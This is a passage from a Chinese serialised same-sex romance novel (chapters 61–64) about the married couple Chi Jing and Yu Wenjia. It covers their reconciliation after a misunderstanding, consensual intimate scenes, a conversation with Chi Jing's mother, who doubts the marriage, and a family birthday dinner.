他没注意到池镜在门口,池镜出了个声:“在写论文?” 余闻嘉抬了下头,“嗯”了声:“赶下进度。” 余闻嘉赶论文不分时候,池镜洗澡的间隙,赶个论文没什么奇怪的。 池镜朝浴室方向偏了偏头,“去洗澡吧。” 余闻嘉摘下眼镜站起来,没把电脑合上,这意味着等会儿他还得继续写。 池镜没吹头,余闻嘉走到他旁边勾了一下他头发,“头发也不吹干。” 池镜抬眸看了他一眼:“你给我吹。” “嗯。”余闻嘉拉着他往浴室走。 池镜头发吹干后回了卧室,靠坐在飘窗上看了会儿书。等他回过神时,已经过去半小时了,余闻嘉还没进屋。 他放下书,打开房门走去客厅看了看,客厅没人,书房的门开着,灯也依旧亮着。 池镜盯着书房门口看了一会儿,随后转身回了房间。 他关上门,坐回飘窗上继续看书。 没过十分钟,余闻嘉放在书桌上的手机响了,是池镜打来的电话。 余闻嘉愣了下,拿起手机划了下屏幕。 电话那头池镜的声音有点沉,声线清清冷冷的:“过来。” 60-68 第61章 第 61 章 你可以完完全全地拥有我…… 61 余闻嘉进卧室的时候, 池镜还穿着浴袍靠坐在飘窗上看书,听到开门声,他抬头看了一眼。 余闻嘉站在门口, 池镜手指按在书页上,头朝旁边偏了偏, 示意余闻嘉:“坐这儿来。” 余闻嘉走过去在他旁边坐下, 身子微侧着朝向池镜这边。 “打扰到你赶论文没?”池镜合上书放在一边, 问他。 “没有。” 池镜点了点头:“那聊聊。” 余闻嘉看着他。 “你怎么了?”池镜看着他。 余闻嘉没说话,他可以遮掩自己的情绪,但他没办法跟池镜说谎。 “别不说话。”池镜说, “也别说没怎么。你情绪有点低,我感觉得出来。到底怎么了?还是因为刚才那件事吗?因为他说的那些话?” “没有。”余闻嘉移开视线,不看池镜,“不是。” “那你冷着我干什么——” “没冷着你。”余闻嘉视线立马看向他,微微皱了下眉, “我怎么可能……” “你从回来到现在,一直都有点别扭,我不知道是不是庄楚说的那些话让你心里堵着了,不舒服了……你说你没有多想, 可你现在不像是没有多想的样子。”池镜看着他的眼睛, “能不能跟我说说为什么会在意他说的那些话, 你在意的点是什么?是觉得我们发展到现在一直都是你单方面在推动,如果换个人推着我走,我也能跟对方走到这一步是吗?” 必须要对症下药,池镜才能把余闻嘉心里堵着的地方给疏通。 他得问明白余闻嘉介意的点。 “你觉得你是可替代的?”池镜注视着他,目光温柔又坚定,“你不可替代, 闻嘉。” “我知道。”余闻嘉握住了他的手,攥得很紧,“我没在意他说的那些话。你怎么看我、看我们这段关系的,我心里都清楚,你用不着一直这么哄我。” “不是哄你。都是心里话,必须要跟你说透说开。” “你说你不在意,那你到底为什么不高兴?”池镜知道他俩还没聊到点上。 “没不高兴。”余闻嘉不带表情地说。 池镜沉默地凝视着他,几秒后,手从他手里抽了出来。 “刚跟你说了,你情绪低我看得出来,所以你别跟我说‘没怎么’‘没不高兴’。你别跟以前那样,有什么情绪总压在心里,你自己不舒服,我也不舒服。你刚才冷着我,我就很不舒服。”池镜站了起来,垂眸看着他,声音也冷了下来,“有情绪就输出,有话就说开,我都主动问你了你还闷着,你觉得该这样吗。” 余闻嘉仰起头,拉了一下他的手。 池镜没让他拉到,抬了下手,躲开了:“你这样让我有点生气,闻嘉。” 余闻嘉抬起胳膊一把揽住他的腰,把他往自己身前一搂,坐在那儿抱着他的腰,脸贴在他小腹上。 “别生气。”他闭上眼睛,鼻尖在池镜的浴袍上蹭了蹭。 池镜垂眼看着他:“来来回回问你多少次了,你就是不说,应该吗?” “不应该。” 池镜摸了摸他的脑袋,语气软了下来:“到底不高兴什么呢,你又说你不在意,那还能是怎么呢?” “我不在意。”余闻嘉声音低了下去,“我只是在生自己的气。” 池镜眨了下眼睛,低头看着他,反应不太能跟得上他的话:“生自己的气?生什么气?” 其实在今天遇到庄楚之前,余闻嘉一直都不知道庄楚对池镜有那方面的心思。他当初撞见庄楚跟池镜谈形婚,那时候是真以为对方就是单纯地想跟池镜形式上结个婚,解决两人各自的问题。 所以他当时并不是怕池镜被抢走,只是不能接受池镜跟别人形婚。 想到庄楚也喜欢池镜,想到自己是因为他才向池镜迈出的那一步,余闻嘉不可能不生自己的气。 池镜当初差点真的就被“抢走”了。 余闻嘉闭着眼,眉头轻拧着:“我其实到今天才反应过来那个人也喜欢你,我一想到我是因为被他激着才朝你迈出了那一步,心里就很堵。我还让他跨在我前头……” 余闻嘉讲着讲着嗓音就沉了下去:“我就想我之前那么多年到底在干什么,为什么那么畏手畏脚,为什么一直站在原地没动。我生自己气,心里头有点较劲,情绪怎么也提不起来。” 池镜恍然:“你……” 余闻嘉搂在池镜腰上的手微微收紧,闷声道:“我情绪是不太好,但又缓不过来。我不想自己的坏情绪影响到你,就想先一个人待着缓会儿,找点事干,转移下注意力。不是冷着你,我不可能冷着你。可能方式用错了,我这方面……有点钝,不太聪明。对不起镜哥,别生我气。” 池镜哪还可能生气,心都软得一塌糊涂了。 他怎么也没想到余闻嘉情绪不高是因为这个。 池镜捧住他的脸,弯下腰来在他头发上亲了亲:“刚才我说话重了,不该凶你。” “是我的问题。” 余闻嘉的眉心一直没有舒展开,池镜轻轻捏着他的耳垂,说:“别较劲,跟自己生什么气呢。我问你,如果当初我没跟你说我不想结婚,你还会一直站在原地吗?” 余闻嘉不假思索:“不会。” 池镜笑了声:“那不就是了。你跨的那一步跟他没有关系,换成任何一个人挡在你面前,你都会往前跨一步不是吗?” 余闻嘉“嗯”了声:“是。” “我知道,你以前一直站在原地没动,是因为太怕失去我了。”池镜问他,“是不是,闻嘉?” 余闻嘉搂紧了他的腰,沉默地点了点头。 池镜拉开他的胳膊,从他怀里退出去,随后按着他肩膀跨坐在了他身上。余闻嘉下意识扶住了他的腰,两人面对面叠坐在一起。 池镜低下头,鼻尖抵着余闻嘉的鼻尖,低声道:“你以后都不会失去我,你可以完完全全地拥有我。” 余闻嘉仰头吻住他的嘴唇,手从腰侧缓缓移至腰后,摁着他的腰让他紧紧贴着自己的身体。池镜身上还穿着浴袍,跨坐的姿势让他两条腿都光着暴露在空气中。余闻嘉吻着他,情不自禁地做出向上的动作,一下又一下。池镜被他摁在身前,随着他的动作也向上动着,身体轻抖。隔着层布料,两人模拟相交。这是都想要了。 “要吗?”池镜在他鼻尖上轻轻咬了一下,“你今天就可以彻底拥有我。” 余闻嘉的呼吸声很重,他沉默地解开池镜的腰带,剥掉他身上松松垮垮的浴袍。 “看来今天不用我引导着来了。”池镜嘴里溢出轻笑,余闻嘉侧过头,舌尖抵进了他耳朵里。池镜浑身一抖,缩着脖子往旁边躲。余闻嘉掌心扣住他的颈侧不让他躲,拇指指腹摁在他的喉结上,轻轻摩挲着。耳朵是池镜的敏感部位,余闻嘉也最喜欢碰他这里。平时顶多就是在耳垂上亲亲咬咬,今天玩得有点过头,直接让池镜说不出话来。 池镜嘴唇微张轻轻喘气,一只耳朵红得滴血,半侧身子已经麻了。有过几次亲密接触,余闻嘉已经对他的身体足够了解。他瘫软地靠在余闻嘉身上,余闻嘉托着他两条腿把他抱起来,抱着他坐到了床边。他们仍然保持刚才的姿势,只是换了个位置。余闻嘉边吻池镜边拉开床头柜抽屉,从里面拿出了等会儿要用的东西。他们从床上辗转到飘窗,后来又滚到了地板上,在房间的各处都留下了痕迹。 池镜不是扭捏的性子,在床上也很放得开,纵着余闻嘉,任凭他想做什么做什么。余闻嘉今天也没再克制,后来都有点不管不顾。一切平息过后,池镜连睁眼的力气都没有了。 余闻嘉抱着他去浴室清洗,两人一前一后靠坐在浴缸里。池镜两条腿站不稳,没办法淋浴,只能躺浴缸里洗。 池镜头朝后,仰靠在余闻嘉肩头,余闻嘉侧过头吻了吻他,问他:“疼不疼?” 池镜闻言睁开眼睛,扯着嘴角轻轻一笑,嗓子哑得不行:“疼还能让你弄那么久?” 其实还是有点疼,不过也就是刚开始的时候比较难捱,后面就渐渐被快乐代替了。余闻嘉在床上跟他平时反差太大,这让池镜着实没想到。压着他直接在地板上来,这就不像是余闻嘉的性格能干出来的事。 “久吗。” “你还想要多久?”池镜失笑,“再过俩小时天都要亮了。” 余闻嘉摸了摸他的胸口,这里有被他弄出来的痕迹,“刚才看你快晕了才停的。下次会比这次久。” 池镜闭上眼,没说什么,只是无声地笑。 “不能接受?”余闻嘉问他。 “能。随你多久。”池镜侧过头,在他颈侧轻轻一吻,“我说了,你完完全全地拥有我。你可以对我予取予求。” 第62章 第 62 章 我从以前就只想跟镜哥结…… 62 卧室一片乱糟糟, 没法睡人,太晚了,余闻嘉没去收拾, 洗完澡直接抱着池镜去了客房。池镜不能平躺,腰部以下多少有点不适感, 腰也很酸。他趴在床上, 余闻嘉拿了个薄薄的靠枕放他胸口底下, 坐他旁边帮他上药。池镜腰侧泛着淡淡的青,是余闻嘉刚才掐出来的指痕。 余闻嘉用指腹在那处蹭了蹭,池镜缩了下腰, 闭眼笑着:“别碰。痒。” “刚才碰的时候怎么不痒?” “刚才注意力不在这。” “青了。”余闻嘉说。 “你也知道啊。”池镜撩起眼皮,侧过头看了他一眼,“平时没白健身,劲儿够大的。” 除了脖子,池镜身上各处几乎都有他留下的痕迹。背上肩胛骨处也是红的, 刚才被余闻嘉摁在地板上磨的。也不怪余闻嘉刚才太凶,都是池镜自己纵出来的,任凭摆弄。余闻嘉刚开始其实挺小心谨慎的,很克制, 收着劲, 总时不时问他难不难受。那会儿池镜疼劲早过了, 他勾住余闻嘉的脖子,嘴唇贴在他耳边,呼吸热而急促,跟他说,你想怎么来就怎么来。他轻轻一笑,话音断断续续的, 几乎是用气音在说:我们闻嘉还是太绅士了。 之后余闻嘉就没那么绅士了。 余闻嘉被他惯得没个节制,后面就像变了个人似的。 上好药,余闻嘉在池镜旁边睡下来,他搂了下池镜,把人翻过来朝着自己。他低下头,把脸埋在池镜的颈窝,嗅他身上的气味。 池镜托着他下巴让他抬起脸,“以后心里再有事就直接跟我说,不许闷着,不许一个人生闷气。咱俩之间以后要是有矛盾了,也及时说开,不要用这种独自冷静的方式解决问题,我不喜欢这样。知道吗?” 余闻嘉点了点头:“知道了。” “下次再这样冷着我,”池镜捏了捏他的脸,“我可就没这么好说话了。” “下次直接骂我。” 池镜笑了声:“那我不一定舍得。” 池镜被折腾得太久,闭上眼没一会儿意识就有点恍惚了,他半睡半醒的还没彻底睡着,余闻嘉低着头唇齿在他锁骨上轻轻厮磨,舌尖一路向下滑,滑到胸膛。自从刚才有过更亲密的接触,余闻嘉已经知道了他另一个敏感处。确实很敏感,余闻嘉刚碰到那里他就轻哼了声,迷迷糊糊地睁开眼。他没穿衣服,余闻嘉舌头在那处打转,池镜哪经得住他这么撩扯,背不禁弓起来,失笑着推了一下他的肩,“还玩呢,不睡了?” 余闻嘉叼着那处轻轻咬了一下,池镜眼睛一闭,“嘶”了声,气息都不稳了,皱着眉叫“闻嘉”。余闻嘉“嗯”了声,舌尖抵在那儿,安抚般地舔了舔。池镜身子抖得更厉害,背也弓得更弯。他垂下眼,哑声问:“还想玩儿?” “不玩了。”余闻嘉脑袋从被子底下出来,搂住了他。 “怎么不玩了呢。”池镜笑着问。 余闻嘉在他耳朵上亲了亲:“镜哥要睡觉了。” 两人搂着睡了一上午,中午才醒。 池镜睡得很沉,余闻嘉比他先醒,听到床头池镜的手机“嗡嗡”震个不停。余闻嘉拿过手机看了眼,来电显示“仇亦”。 仇亦之前参加过他们的婚礼,当时池镜跟余闻嘉介绍过他。 手机一直在震,仇亦是池镜朋友,来电想来不是工作上的事,今天又是周末,应该也不是要紧事,余闻嘉怕吵着池镜,拿上手机去了外面,关上房门接通了电话。 “今天有空吗池处?去打球?” “他还在睡觉。”余闻嘉边说边往卫生间走。 电话那头的仇亦一愣,随即笑了:“行,知道了。” 两人拢共说了三句话,就结束了通话。 余闻嘉洗漱完去把卧室收拾了一下,然后订了个餐。他回客房的时候,池镜已经醒了,赖在床上不想起来。 余闻嘉把池镜的手机放床头柜上,说:“刚有人打你电话,我接了。” 池镜侧着身子躺在床上,被子挡在脸上,没睁眼:“谁的电话?” “仇亦。找你打球,我说你在睡觉。” 池镜“嗯”了声,脸埋在枕头里,拖长调子哼哼了两声。一到休息日他就赖床,还有点起床气。 “还要睡?”余闻嘉弯下腰问他。 池镜懒懒道:“不想起。” “那你继续睡。睡够了起来吃饭。” “那要睡到吃晚饭了……”池镜的声音闷在枕头里,他睁开眼,“算了,不睡了。” “起得来?”余闻嘉隔着被子在他屁股上摸了摸。 “起不来。”池镜从被子里伸出胳膊,“抱我。” 池镜搂着余闻嘉的脖子挂在他身上,余闻嘉托着他两条腿,把他抱去卫生间洗漱。 池镜两条腿还有点打晃,余闻嘉贴在他身后扶着他的腰,两人一前一后地站在水池台前。 “后面有没有不舒服?”余闻嘉问他。 “不太好描述的感觉,”池镜刷着牙,头后仰靠在他肩上,“说不上不舒服。” 吃饭的时候,池镜给仇亦回了通电话过去。 “醒了啊?”仇亦问。 “醒了。” 池镜嗓音有些沙哑,仇亦语气里带着不太明显的笑意:“这个点才醒……下午去打球吗?” “不打。”池镜现在的状态做不了剧烈运动。 “怎么呢,没空啊?要陪家属?” 池镜看了对面的余闻嘉一眼,说:“啊。” 仇亦笑了笑:“糊涂账理清了?” “理清了。” “挺好。”仇亦顿了片刻,忽然含笑着问了句:“你俩做了?” 池镜正端着杯子在喝水,闻言差点呛着,偏过头咳了好几声:“倒也不用这么直白。” 仇亦笑出声来:“这么直白才好玩呢,看给我们池处吓的。” 这个点才起,嗓子那么哑,打不了球要陪家属,想也知道池处昨晚跟家属干嘛了。 池镜笑着没说话。 “那再约吧。”仇亦笑着说,“池处好好休息,好好陪家属。” “行,再约。” 池镜挂了电话,余闻嘉问他:“说什么了?那么大反应。” 池镜把手机放桌上,摇着头笑笑:“两通电话就把咱俩私生活给曝光了。这人脑子转得太快。” 两个人下午没做什么,躺客厅沙发上看了部三个多小时的长电影。余闻嘉坐在沙发一边,放了个靠枕在自己腿上,不用他示意,池镜就坐过去侧过身子躺了下来,头枕在他腿上。 他腰疼,余闻嘉帮他轻轻揉着。 晚饭两个人是在外面吃的,池镜订了家风格挺小资的餐厅。吃到中途,池镜接到了他妈的电话,问他俩吃了没有,池镜说正吃着。 “那我就不给你们带饭了。”他妈说做了几罐头配粥的小菜,一会儿给他们送来。 池镜说:“您别跑一趟了,一会儿吃完饭了我开车过去拿。” “不用你拿,我去你那儿又不远。行了,你吃你的吧,我过去了。” 家里没人,池母直接输密码进屋,她把小菜放冰箱里,然后习惯性地帮池镜收拾起屋子来。其实也没什么可收拾的,余闻嘉把家里打扫得很干净。她稍微收拾了下,去阳台把干衣服收了,叠好拿去卧室。 余闻嘉之前一直睡在客房,客房有衣柜,他的衣服都在客房衣柜里,跟池镜睡一间屋后,也没把衣服搬去主卧,还一直放在客房。 池母一打开衣柜就觉得不对劲。池镜平日穿衬衫居多,这衣柜里也几乎都是衬衫,好像就没有余闻嘉的衣服。 池母站在衣柜前,眉头微微皱了起来。 本来当初池镜和余闻嘉结婚她就心存疑虑,一看到衣柜里只有他的衣服顿时有点敏感,她立马走去客房打开衣柜看了一眼。 池镜和余闻嘉没多久就回来了,到家的时候池母还没走,她一个人在客厅沙发上坐着,倒是没想到俩孩子会这么快回来。她还没缓过来呢,这俩回来的不是时候。 池镜走进客厅,看到他妈坐在单人沙发上,抬头看他一眼,脸上没什么表情,也不出声。 “怎么了这是?”池镜很少见他妈板着张脸。 池母目光在他跟余闻嘉之间扫了扫,指指沙发:“你俩坐这儿。” 最开始这俩孩子突然说要结婚,她就担心池镜是为了他姥姥,池镜当时再三强调他不拿这事胡闹,她才相信他和闻嘉是真有感情才结的婚。 现在看来,她一开始就没猜错。 结都结了,她本来想着事已至此就随它去吧,结果一看见俩孩子回来这急脾气又没收住,不说不痛快。 池镜和余闻嘉坐在了沙发上,转头看了彼此一眼。 池母先是看着池镜:“你当初跟我说什么来着?说你不会拿结婚的事胡闹?” 池镜张了张嘴,还没开口,池母又说:“我那时候有没有跟你强调,别为了给你姥个交代就随便结婚,你还说不可能在这事上牵扯闻嘉……”说着她看了眼余闻嘉,眉头紧皱,“你们简直是胡闹……” 余闻嘉先开了口:“妈,我们不是胡闹。” “不是胡闹?”池母反问,“那你俩怎么分开睡?你衣服怎么都在客房?闻嘉,你……哎,你想什么呢,你跟小镜结这个婚……你将来不结婚了?” “我就是想跟他结婚。”余闻嘉说。 池母愣了一下。 池镜知道现在不用解释那么多,甚至没必要承认当初是为了姥姥才结的这个婚,眼下只要让他妈知道他俩之间有感情就行,这是最有力的解释。 “没分开睡。”池镜说,“您多想了——” “我还多想?”池母看向他,心里还有点气,气当时池镜没跟自己说实话,“我跟你讲,你甭想再蒙我。” “那您想怎么着啊,”池镜失笑,“让我跟闻嘉离婚?然后再让他去找自己的真爱?” 池母眼睛一瞪:“你还跟我嬉皮笑脸说这话……” “我俩真真的,真的。”池镜看着她,表情认真,“没蒙您。” 池母皱着眉,显然还是不相信他说的话。 池镜笑道:“您就不相信我俩互相喜欢呗。那怎么着,要不我俩当面亲一个给您看?” 池母看他的眼神有点变了,蹙眉沉默几秒,开口道:“你俩……” 池镜还没说什么,旁边余闻嘉突然转过头在他脸上亲了一口。 池镜和他妈皆是一愣,他转头看了余闻嘉一眼,被这一下搞懵了。 余闻嘉直愣愣地凑过来亲他,直愣愣地跟他妈说:“妈,我俩真是真的。我想跟镜哥结婚很久了,我从以前就只想跟他结婚。” 第63章 第 63 章 我们闻嘉从小就想跟我结…… 63 余闻嘉也不是第一次这样打直球了, 之前跟家长宣布要跟池镜结婚也是这样直白干脆,非常耿直。 他亲池镜的这一下让池镜想起了去年生日那天他的“求婚”,也是这样来得毫无征兆, 猝不及防。 池镜看着他忍不住笑了声:“今天也没喝酒啊。” “你……”池母还有点懵,余闻嘉亲的这一下, 还有他说的这些话, 都是很有力的解释了, 池镜下意识的反应也不会骗人,他俩之间要是没感情池镜不可能是这个反应,“你俩……” “我俩感情很好, ”池镜握住了余闻嘉的手,捏捏他的手指,“您真的别多想了。您看我们闻嘉像离得开我的样子吗?从小就想跟我结婚。” 池母闻言立马斜他一眼,脸上已经显露出不太明显的笑意:“混不正经的,跟你弟一个样儿。” “我说的可都是正经话。” 池母盯着他俩看了几秒, 说:“你俩好就行。” 看他俩这样黏黏糊糊,池母也没什么可愁的了,本来这事她没打算管,想着自己消化消化得了, 就是还没消化完这俩孩子就回来了, 她又是个急脾气, 话到嘴边忍不回去。 旁的她也没再多问,都不重要,俩孩子一切幸福最重要。 池母没多待,池镜打算开车送她回去,她说不用。她就不是个爱麻烦孩子的家长,池镜这儿离地铁口近, 她坐地铁回去很方便。 “坐车不是更方便。”池镜说。 “说了不用你送。”池母在门口换鞋,“陪你们闻嘉吧,啊。” 她说的时候特意加重了“你们”这两个字,池镜听笑了:“您这话说的,我怎么听着阴阳怪气的。” 池母打趣道:“哎哟,你们闻嘉不是离不开你么。”说着她看了眼池镜身后的余闻嘉,“是这样吧闻嘉?” 余闻嘉眼里有淡淡的笑意,他点头道:“是这样。” 池镜笑了一会儿才说:“妈,有件事还是得跟您说一下。” “说。” “我现在是已婚人士了对吧。” 池母似乎知道池镜要说什么了,摆了下手说:“没考虑到你们的隐私问题是我的不对,接受批评,以后不进你俩房间了。” 池镜和余闻嘉结婚后,他妈其实很少来这儿,像这种家里没人的情况下过来几乎是没有。她之前一直习惯了替池镜收拾屋子,今天也是习惯性地收衣服放衣柜,一时间也没考虑到他已经结婚了,再这么做有点不合适。 “谁说批评您了,”池镜失笑,“就提醒一下。” 池母“哎”了声:“收拾惯了。刚才也没想那么多。” “知道。”池镜走过去揽住她的肩搂了一下,“辛苦妈妈了。” 池母笑了下,拍拍他的胳膊:“你俩好好的就行。” 池母关门走后,余闻嘉走过来从后面搂住了池镜。 池镜侧过头,脸贴到了他颈侧,笑着问:“刚才怎么就那么亲过来了?你这直球是走哪儿打哪儿啊。” “没想那么多。”余闻嘉当时确实没想那么多,他在感情方面就是有点直愣愣的,有时候直接到还冒着点憨劲儿,“你不是要亲一个么,我听你的指令。” 池镜笑了:“我什么时候给你下指令了?” “就是下了。”余闻嘉拿鼻尖顶他的脸蛋,“亲的不好吗?都不用你跟妈解释什么了。” “倒是不害臊。”池镜说。 “从来不害臊。”余闻嘉说。 池镜嗤笑一声,转过头捏了捏他的脸:“你可拉倒。当我没见过你害臊的样子呢。” 余闻嘉又搂住他,把他抱在怀里:“别就光记着我刚才亲你,我说的话你也当回事。” “当回事了。”池镜也抱住他,“我们闻嘉从小就想跟我结婚,我知道。” “你知道就好。” 池明这周五生日,他是个爱玩的,生日不在家里过,订了个地方叫了一帮朋友吃饭。这两天池镜在外地开会,池明生日这天他还在外面没回来。 他一大早给池明发了个生日红包,池明秒收,回消息问:今天回不回来? 池镜:回,估计会晚。 池明:早回了就早点来。 池明发了个定位给他。 余闻嘉的生日也快到了,他和池明的生日挨得很近,就隔了两个礼拜。 余闻嘉今天不加班,下班的时候池明开车来医院接他,一起去吃饭的地方。 池明车里还坐着个人,沈静司,他们公司大老板。余闻嘉跟他认识,不算很熟,上车后两人互相打了个招呼。 沈静司坐在后座,余闻嘉便上了副驾。 余闻嘉把给池明准备的礼物扔在了后座,池明笑着回头看了眼:“送的什么?” “自己拆了看。” “沈总帮我拆了。”池明说。 沈静司正看笔电,头都没抬:“自己拆。” “我现在也拆不了啊,开车呢。”池明看着后视镜,“你给我拆了,速度,沈总。” “别人送你的礼物,让我拆合适吗?” “有什么不合适的,我们余博士才不care这个。” 不给他拆他能念一路,沈静司帮他拆了包装袋。余闻嘉送的是一盒高达模型,这礼物池明很满意,这一款他还没有。 “我哥呢,联系你没?”池明转头问余闻嘉,“他不回我消息。” 余闻嘉摇头,低头拿着手机给池镜发消息:什么时候回来? 池镜在忙,没回消息。 池明请了两桌人,余闻嘉跟他坐一桌,他旁边的位置空着,是给池镜留的。 余闻嘉五点半给池镜发的消息,池镜半小时后回的消息:刚去机场。 余闻嘉:几点到?我去机场接你。 池镜:不用接。落地时间还不定呢。 池镜:池明那边开始没? 余闻嘉:开始了。 池镜:那你好好吃你的。 这一桌就余闻嘉旁边空着,有人问池明:“还有谁没来啊?这位子空着。” 池明说:“我哥。” 他一圈人介绍过去,介绍到余闻嘉不说是朋友,也不说是同学,说:“这是我哥夫。” 他还不知道他哥跟他哥夫真的好上了,就是爱明里暗里地助攻。 余闻嘉平时滴酒不沾,酒量极差,今天桌上有道菜,红酒烩牛肉,他一开始没吃出酒味来,后来多吃了两口就晕了,撑着脑袋坐在那儿缓劲。 “怎么了你?”池明凑过来问他。 余闻嘉垂着头,眼睛也闭着,“头晕。” “怎么还头晕了,”池明看看他的杯子,“你也没喝酒啊。” “菜里面有酒。”余闻嘉扶着桌沿站起来,想去趟洗手间。 余闻嘉什么酒量池明还是清楚的,他这样子一会儿就得趴下睡了。他起身搀住余闻嘉,“楼上有房间,你上去睡会儿。” 池明跟众人打了声招呼,把余闻嘉送上楼去睡觉。 池镜七点半落地,给余闻嘉打电话一直没人接,他就把电话打到了池明那里。 池明那边的饭局还没结束,他让池镜赶紧过来。 “闻嘉呢?”池镜问他,“打他电话怎么没人接。” “睡觉呢,吃了点红酒烩牛肉就晕了。” “他在哪睡觉?” “我这儿啊,楼上房间睡着呢。” 池镜打了辆车过去。 他是最后一个来的,进包厢的时候,屋里的人都朝他投来目光。 池明起身介绍:“我哥。” 池镜礼貌一笑,冲众人点头致意,随后走到池明旁边问:“他人呢?” “还在楼上睡着呢。” “哪个房间?带我过去。” 池明坐在那儿,抬眼看向他,眉梢微微挑起:“你不吃饭了?” “我要先看他。” 池明叫来服务员,让服务员领池镜上楼。这是个会所性质的酒店,楼上有供客人休息的房间。 池镜拿房卡刷开门,屋里没开灯,他放轻脚步走到床前弯腰看了眼。他没出声,但余闻嘉已经醒了,闭着眼他都知道床前站着的是池镜,他闻到他身上的味道了。 池镜转头刚准备走,下一秒就被床上的人一把攥住胳膊,拽到了床上。 池镜趴倒在余闻嘉身上,余闻嘉扣着他的后颈,嘴唇贴在他耳廓,鼻息温热,嗓音低哑:“不许走。” 第64章 第 64 章 不在家陪我。 64 “醒了?”池镜低声问。 余闻嘉闭着眼, 嘴唇蹭着他的耳垂:“没醒。” 池镜轻笑:“那你现在是在梦游?” 余闻嘉没说话,只是轻轻啄着池镜的耳朵。这个趴倒的姿势让池镜的重心几乎都压在他身上。池镜手撑了下床沿想起身,却被余闻嘉更用力地扣住了脖子:“说了不许走。” “不走。”池镜说, “先让我起来,这么趴着压你身上不嫌沉啊。” “之前做的时候你趴我身上还少了?”余闻嘉声音很低很沉, “我什么时候说过沉。” 池镜无声地笑着, 余闻嘉摁在他后颈的手越扣越紧。他侧过脸, 伸出舌头舔吻池镜的耳朵。池镜耳朵过电似的发麻,呼吸都乱了:“那你先让我去关个门,门还开着呢……” “不用管。”余闻嘉扣着他不放, 真跟喝多了似的,不管不顾的。 池镜失笑:“我们这样让人看到了你说像什么样子?” 余闻嘉暂且松开他,捏了捏他的后颈,说:“五秒钟,关完立刻回来。” 池镜过去把门关上, 随即回到了床边。 “五秒到没?”他弯下腰问余闻嘉。 余闻嘉一直没睁眼,伸手抓住了池镜的胳膊,这次不用他拽,池镜自觉躺上了床, 躺在他身边。 余闻嘉把头靠过来, 抵在他的颈窝, 鼻翼间喷洒着热气,身上倒是没有一点酒味。 “听说你吃个红酒烩牛肉就把自己吃醉了?”池镜摸着他的后脑勺,语气里带着点笑意,“真醉了啊?” 余闻嘉没出声,池镜笑道:“还真是宝宝级别的酒量——” 话音未落,余闻嘉就张嘴在他喉结上咬了一口, 池镜仰着脖子“嘶”了一声,哑声问:“真醉了?” 余闻嘉舔着他的喉结,舌尖勾着他的颈线一寸一寸向上,从脖颈舔到下巴,最后停在唇瓣之间,撬开双唇抵了进去。 两个人抱着吻了很久,吻完余闻嘉还是没松开池镜,侧过脸,舌头换了个地方,舔着他耳垂玩。 池镜不躲也不阻止,随他玩。 余闻嘉现在的粘人程度已经远超小时候,池镜在心底笑笑,心想真跟个狗狗似的。 池镜的手机响了起来,他摸了下口袋,手机拿出来看了眼。池明打来的电话,他点了下屏幕,手机举到耳边。 池明欠嗖嗖的,故意给他打的这通电话。 “你这看一眼看得是不是有点太久了?”池明端着杯子抿了口酒,嘴角噙着笑,“不下来了?” “等会儿。”池镜说。 “怎么要等会儿呢。”池明笑着问。 池镜张了下嘴,还没说话,手里的手机就被余闻嘉拿走了。余闻嘉把手机贴在耳边,说了句:“别烦。”随后就把电话挂了,手机往床头一扔,两条胳膊往池镜身上一圈,把他箍在身前。 “这么霸道呢。”池镜笑了声,“都敢随便替我挂电话了。” 余闻嘉睁开眼:“我头晕,要人陪。你不管我么?” “管。” “就要你陪着,”余闻嘉把脸抵在他肩窝,“谁叫都不许走。” “不走。”池镜笑着,身体贴紧了他。 余闻嘉倒不是非要把池镜留这儿不让他下去,他就是想跟池镜多单独待一会儿,包厢里都是人,不爱在那儿待着。池镜穿着衬衫,余闻嘉手在他小腹上摸了下,他没吃饭,小腹有点往下凹。 余闻嘉也就霸道那么一会儿,他松开池镜说:“下去吃饭吧。” 池镜眨了下眼睛:“不是不让我走吗。” “我跟你一起下去。” “头不晕了?” 余闻嘉抱着他坐起来:“不说头晕怎么跟你装可怜。” 池镜捧着他的脸晃了晃:“怎么就这么可爱。” 两个人下去的时候,饭局还没结束,包厢里的人正聊着起劲。他们进来的时候,屋里的聊天声明显低了下来。池明抬头看见他俩,眉梢微微挑起。 两人一同入座,池明扭头看向他俩,眼神意味不明:“这么快就下来了,不应该啊。” 池镜看他一眼:“吃你的。” 池明眯了眯眼睛:“你俩好了?” 池镜拿一次性湿毛巾擦着手,“我俩什么时候不好?” 一切尽在不言中,池明笑着点点头,手背在余闻嘉胸口拍了拍:“可算是好了。” 池镜刚才直接从机场赶过来的,行李箱寄存在酒店大厅,他和余闻嘉都没开车,两个人打了辆车回去。 池镜推着行李箱进了卧室,拉开箱子拉链刚准备归置东西,余闻嘉就走过来推着箱杆把箱子往旁边轻轻一推。他从身后扶着池镜的腰,在他腰侧轻轻掐了掐,说:“去洗澡。” 池镜侧过头来,余闻嘉顺势在他唇上一吻。 池镜抬起胳膊,反手搂住他的脖子,轻笑着低声问:“收拾完再洗不行么。” “不行。”余闻嘉说,“我给你收拾,你去洗澡。” 池镜知道他是想要了,想逗逗他,揣着明白装糊涂:“我自己能收拾。” 余闻嘉掐了一下他的腰,压低了声音:“要我说几遍……我让你去洗澡。” 池镜垂眼笑着,不言语。 “闻嘉想要了。”池镜轻轻揉着他的耳朵,“是不是?” 余闻嘉说:“是。” “别等我洗完澡了,直接来吧。反正一会儿还得再洗,费事儿。” 余闻嘉没出声,池镜回了下头:“嗯?” 余闻嘉“嗯”了一声,手伸过去解他的皮带。他们甚至没有去床上,池镜被余闻嘉推到了飘窗那儿,他弯着腰两只手撑在飘窗上,西裤已经褪去,只穿了件衬衫。余闻嘉扶着他的胯,从身后压过来。 余闻嘉精力确实足,折腾了半宿,早上八点还是准时醒了。他掀被下床的时候,池镜迷迷糊糊地听到窸窣声响,微微睁开了眼睛。 余闻嘉走到衣柜前换衣服,池镜睡眼惺忪地看着他:“你今天不是休息吗?” “我去健身房。” 池镜闭上眼,笑了:“我觉得你可以去参加铁人三项了。” 外科医生体力必须好,不然怎么吃得消连续做十几个小时的手术。 余闻嘉走到床边,俯身在他额头上吻了吻:“早餐给你放蒸箱,一会儿起来了就去吃。” “好的。” 余闻嘉健了两小时身,十点半到家。他回来没在家里看到池镜,给他打了通电话。 “去哪儿了?” “到楼下了。”池镜说,“刚去超市买了点菜。” 池镜到家的时候,余闻嘉刚进浴室洗澡,客厅没人,池镜把买的菜放厨房,走到浴室门口叫了声:“闻嘉?” 余闻嘉脱掉上衣,在里面应了声:“怎么了?” 